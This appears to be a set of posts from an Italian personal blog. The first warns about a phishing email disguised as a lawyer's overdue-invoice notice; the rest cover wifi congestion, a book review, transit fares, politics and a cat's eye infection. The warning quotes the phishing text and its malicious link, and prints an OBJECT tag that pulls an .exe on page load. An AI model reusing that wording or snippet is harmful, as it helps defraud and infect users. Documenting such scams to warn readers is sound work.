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spam_phishing

Attenti alle fatture

Anna mi ha appena passato un minaccioso messaggio che le era arrivato per email. Il testo è il seguente:
Subject: Avviso di insoluto su Fattura
Gentile Cliente,
Da un nostro controllo contabile non ci risulta a tutt'oggi il pagamento della fattura P.N. 335624-1 dell'importo di Euro 4.329,50.
Se la fattura risulta gia saldata o se ritiene possa sussistere un errore cotabile la invito a prendere visione del conto da pagare attraverso il nostro:
www.avvocati-ass.com/Fatturazione_CEF/FTR-335624.html ( clicca per collegarti )
In difetto, provvederò ad agire nelle sedi opportune, senza ulteriore preavviso.
Distinti saluti.
Dott.Avv. Giancarlo Gentiloni
I miei affezionati lettori avranno immediatamente notato i due errori di grammatica (“gia saldata” ed “errore cotabile“) e avranno capito che si tratta di un phishing. In effetti, cliccando sul link, esce una pagina dal titolo intimidente ATTO DI DIFFIDA E MESSA IN MORA e l’immagine di una pagina rimpicciolita in modo che non possa leggerla. Se avete un PC windows, non provate a cliccare né sulla pagina né sulla scritta “ingrandisci”, visto che verrebbe immediatamente scaricato un file .exe che non voglio affatto sapere cosa faccia.
Inoltre, guardando il sorgente di quella pagina, c’è anche il codice seguente: <OBJECT CLASSID="CLSID:F16FEB0E-2A86-4228-AFF1-E7500263A51F" CODEBASE="Fatt56563A.exe" width="1" height="1"></OBJECT> che potrebbe dare dei guai anche senza cliccare su quelle immagini, solo aprendo la pagina di cui sopra. Non dite che non vi ho avvertiti!
ps: se uno va a fare un controllo whois sul nome a dominio avvocati-ass.com, scopre che è stato registrato attraverso una società californiana che nasconde il nome del gestore vero e proprio, e soprattutto scopre che è stato registrato sabato pomeriggio scorso: Creation date: 19 Jan 2008 14:27:36. Se poi si vuole divertire, può andare alla pagina di informazioni, dove scopre – ma non c’è nulla di strano – che il sito è cinese… Il curiosone può anche andare all’indirizzo IP corrispondente e vedere un po’ di ideogrammi che Babelfish mi traduce più o meno come “il tuo sito non è stato ben configurato”. Ma forse quando voi leggerete questa mia notiziola, l’IP sarà cambiato: il sito infatti dice che il client può salvare l’indirizzo per non più di tre minuti (il default è da uno a tre giorni :-) )
Aggiornamento: (h 21:50) A quanto pare, questa notiziola mi ha fatto raggiungere nuove vette di contatti, più che i miei pipponi con Ratzi della scorsa settimana. D’altra parte, in questo momento non solo una ricerca per “avvocati-ass.com” riporta il mio blog al primo posto (fregando altri che ne avevano parlato prima di me…), ma non ci sono occorrenze al di fuori del circuito dei blog e dei forum. Quindi nulla dai grandi quotidiani online, ma soprattutto nulla dalle società che si fanno pagare per le loro “soluzioni di sicurezza”. Magari poi i loro prodotti bloccano il troiano, ma per molta gente loro sono la Fonte di Tranquillità, e un avvisino sul loro portale sarebbe stato utile. O no?

IA e informatica, old

Congestione senza fili

La mia connessione wifi continua ad andare su e giù, impedendomi praticamente di vedere una pagina web se non caricandola tre o quattro volte (e per fortuna che non guardo dei video). La lista delle reti wifi mi dà cinque reti oltre la mia, e sono ragionevolmente certo che a quelle reti si aggiunge ad esempio il ripetitore Sky dei miei vicini, che so che usa le stesse frequenze. La cosa peggiore è che c’è qualche sistema che cicla tra i vari canali a disposizione, a giudicare dalle verifiche che ho fatto sul mio router: è esattamente l’equivalente di quelli che continuano a cambiare corsia durante un ingorgo in tangenziale, col risultato che l’ingorgo aumenta ancora di più.
Insomma, viviamo in una congestione perenne.

recensioni

La grammatica di Dio (libro)

[copertina] Andando a guardare i voti dati dai lettori all’ultima fatica di Stefano Benni (Stefano Benni, La grammatica di Dio, Feltrinelli 2007, pag. 182, € 14, ISBN 978-88-07-01733-9) quello che stupisce è che c’è una polarizzazione estrema: o il libro è amato alla follia, oppure viene considerato un’emerita schifezza. Secondo me la ragione è abbastanza semplice: questo non è il Benni a cui eravamo stati abituati. Anche se il sottotitolo dice “storie di solitudine e di allegria”, di allegria ce n’è davvero poca, qui dentro, e soprattutto i primi racconti (“Boomerang”, con un cane troppo fedele, e “Mai più solo”, dove si vede come i telefonini possano fare male) sono stati davvero pesanti. Aggiungiamo che verso la metà i racconti mi sono sembrati un po’ troppo triti (anche se scritti bene, Benni è sempre Benni) e ammetto che mi è venuta voglia di lasciarlo lì. Fortunatamente ho proseguito: la seconda parte è davvero scoppiettante, con i racconti “Una soluzione civile” su come preparare una guerra civile purificatrice e “La strega” sui problemi di una strega al giorno d’oggi. In definitiva è assolutamente leggibile, basta non partire dai preconcetti su cosa si vorrebbe trovare.

admin

Google sa troppe cose?

Tra gli accessi al mio blog, stasera ne è arrivato uno (a questa notiziola, che in effetti non è esattamente utile ma comunque relativamente vicina) con questa stringa: molto cosa voldire in analissi grammaticale. Non sbertuccio chi l’ha scritta, che per quanto ne so potrebbe non essere italiano e stare cercando di imparare la nostra bella lingua. Mi preoccupo per la capacità di Google di riuscire a tirare fuori un contenuto semantico, anche se non perfetto, da una richiesta di questo tipo.
Ah, se l’amico ritorna qua: “molto” può essere un aggettivo indefinito con i nomi non numerabili (“molto spazio”: non puoi contare lo spazio!) o da solo per dire “troppo”; oppure un avverbio (“mi piace molto il tuo vestito”), o un pronome indefinito (“di studenti svogliati ce ne sono molti”).

trasporti

Grande Offerta ATM

Andando sulla home page ATM, si può vedere in bella vista questo annuncio sul “biglietto a prezzo scontato per la Fiera di Milano” (che se ne sta ben fuori dalla città, esattamente come quello che dovrebbe essere l’aeroporto principale è in provincia di Varese). Ovviamente il biglietto vale solo per i giorni delle manifestazioni fieristiche, anche se mi chiedo chi mai volesse andare al capolinea della linea Rossa per fare qualcos’altro.
Bene: il biglietto di andata e ritorno costa quattro euro tondi tondi. Se uno va a vedere quanto costa il biglietto non scontato (è quello “U+1 zona”) scopre che il biglietto di corsa singola costa 2.05 euro, e quindi l’andata e ritorno costerebbero 4.10 euro. I dieci centesimi di sconto equivalgono al 2.44% scarso.

pipponi

Piccinerie

Sarebbe l’ora di smetterla di parlare di Ratzi e della Sapienza, ma non posso esimermi dal citare Ipazia, che a sua volta riporta un articolo del fisico Giorgio Parisi che svela come la lettera dei 67 fisici non sia stata scritta il 10 gennaio, ma a metà novembre scorso, il che in effetti cambia parecchio le cose. E come mai è rimasta nel cassetto fino alla settimana scorsa? Beh, sempre Ipazia linka questo verbale del Senato, dove si scopre che uno dei firmatari dell’appello è stato designato presidente del CNR e ora qualcuno vuole annullare la nomina a causa appunto della sua firma all’appello. E noi che pensavamo che fosse un contrasto sui Fondamentali Princìpi di Libertà e Tolleranza…
In una notizia più o meno correlata, Paolo Guzzanti racconta cosa è successo sulla mozione che non è passata per le assenze dei deputati di Forza Italia. Si può credere o no sulla sua accusa alla Lega, quasi da inciucio, ma vi invito a leggere attentamente tutto il testo guzzantiano e immaginare cosa facciano davvero i nostri rappresentanti, oltre che appunto lamentarsi del presidente designato per il CNR. Cito solo una frase: La mozione presentata da Calderoli in un giorno della settimana – il giovedì – normalmente dedicata ad interrogazioni e interpellanze (e dunque un giorno in cui i senatori per lo più non restano a Roma).

pipponi

Figli di

Se vi dico “Mastella”, pensate subito a Clemente; ma in questo caso parlo di suo figlio Elio. Se dico “Sortino” probabilmente non pensate a nulla, oppure – se guardate la TV – pensate a Sebastiano, inviato delle Iene.
Detto così, sembrebbe esserci una asimmetria; però, se avete visto questo video, saprete voi che le cose si possono aggiustare. Infatti, dopo essere rimasto un po’ a rispondere alle incalzanti domande della Iena, alla fine non ce la fa più e fa amabilmente notare come il contrattista per Mediaset sia il figlio di Sebastiano, uno dei commissari dell’Autorità Garante per le Comunicazioni. Insomma, tutto torna perfettamente.
Vorrei aggiungere che Mastella jr. ci ha fatto un’ottima figura, anche perché già quello stile di intervista così amato a Mediaset in realtà è l’equivalente moderno di essere messi al Colosseo a combattere contro i leoni, e anche la persona più innocente di questo mondo può essere disegnata come un sanguinario bruto se non ha una capacità di controllo ben oltre la media, e poi perché comunque non era lui quello che c’entrava in tutta la storia. Poi, essendo io curioso e non guardando la TV, mi chiedo come mai Sky avesse la registrazione dell’intervista :-)
(via Vittorio Bertola)

io

Gattositteraggio

La scorsa settimana Anna è stata a lavorare a Napoli, e mi ha lasciato così relativamente solo: relativamente perché lunedì c’erano i miei zii friulani ospiti, ma in ogni caso le incombenze della casa sono toccate a me. Tali incombenze, come sapete, consistono principalmente nel gestire le nostre due gatte. Generalmente la cosa è relativamente semplice: basta tapparsi le orecchie quando Ariel reclama a grandi miagolii la pappa, come se non fosse una gatta obesa che avrebbe bisogno di perdere un paio di chili, evitare Momo, gatta nera che tende a salire per la scala nera mentre sto scendendo al buio, e pulire la loro cassetta al mattino.
Purtroppo però Momo aveva un’infezione all’occhio, partita a fine anno dall’altro occhio e che il nostro veterinario online Fabio ha diagnosticato come dovuta alla clamidia. La cura di per sé è semplice: al mattino e alla sera si pulisce l’occhio con dell’acqua borica, e poi si mette un’apposita pomata sulla pupilla. La pratica però riveste qualche piccolo problema, se a fare tutto questo non è Anna – che in fin dei conti ha allevato Momo da quando aveva due o tre giorni – ma il sottoscritto. In pratica, dovevo preparare tutta la roba pronta, poi andare alla caccia della micia, portarmela in cucina, tenerla con un braccio mentre con l’altro le pulivo l’occhio, e poi tenerle aperta la pupilla per metterle la pomata. Mi sono subito accorto che il buon Dio si era dimenticato di dotarci di un terzo braccio per queste operazioni. Risultato? Contorsioni (mie e sue) assurde, e pomata messa genericamente in direzione dell’occhio, sperando in bene: in effetti sembra poi essere andato tutto a posto. Unico vantaggio: stranamente Momo non graffiava né si dimenava più di tanto.

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